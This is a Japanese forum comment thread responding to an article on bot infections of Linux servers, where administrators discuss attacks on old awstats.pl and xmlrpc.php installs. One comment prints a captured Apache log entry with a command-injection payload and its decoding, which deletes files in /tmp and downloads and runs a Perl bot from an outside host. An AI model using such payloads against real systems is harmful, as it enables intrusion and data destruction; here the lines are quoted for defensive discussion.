「Linuxでもbot感染が拡大」記事へのコメント

perlとかもあるよ

[Anonymous Coward]

最近でも頻繁に古いphpベースのCMSにあったxmlrpc.phpとかログ解析ソフトawsatats.plの古い版とか狙ったbot感染攻撃が後をたたないでちゅ。linuxサーバーに入っているwgetを使ってshellbotをダウンロードする手口が共通に使われているのでwget消すかrenameしておくと将来的にも安心かも。

Re:perlとかもあるよ

[nonolin (465)]

某セキュリティ系セミナーで
cacti （これも php）の古いヴァージョンのセキュリティホール突っついて、
侵入・クラックするデモを見たときも、wget でダウンロードしてました。

手動でクラックしてるわけではなくて、
スクリプトで流し込んで実行してるから
その手のある意味、姑息な対応策も有効なんでしょうけど、
まー、本質的ではないですね。

＃テクニカルサポートのエンジニアで wget とか lynx を
＃知らない奴が居て、よくそれでやってるナーと感心したことがあります。

Re:perlとかもあるよ

[Anonymous Coward]

うちにも毎日来ます:-(
たとえばapacheにこんなログが。

SERVER XX.XXX.XXX.XX - - [20/Sep/2005:08:30:05 +0900] \
"GET //awstats.pl?configdir=|echo%20;cd%20/tmp;\
rm%20-rf%20*;curl%20-O%20http://www.geoXXXXXX.com\
/h4x000r/a.pl;perl%20a.pl;echo%20;rm%20-rf%20a.pl*;\
echo| HTTP/1.1" 404 472

おそらくこんな感じ?

echo ;
cd /tmp;
rm -rf *;
curl -O http://www.geoXXXXXX.com/h4x000r/a.pl;
perl a.pl;
echo ;
rm -rf a.pl*;
echo |

xmrpc.php(これも毎日来てます)については良く知らないので
どなたかよろしく。

# 合わせ技らしいアタックもブログに書いたはずだけど、どこいった...

Re:perlとかもあるよ

[Anonymous Coward]

xmlrpc.phpですね。

ぐぐると色々出てきますね。
勉強になります。
うちはawstats.plの方しか来たこと無いですけど・・・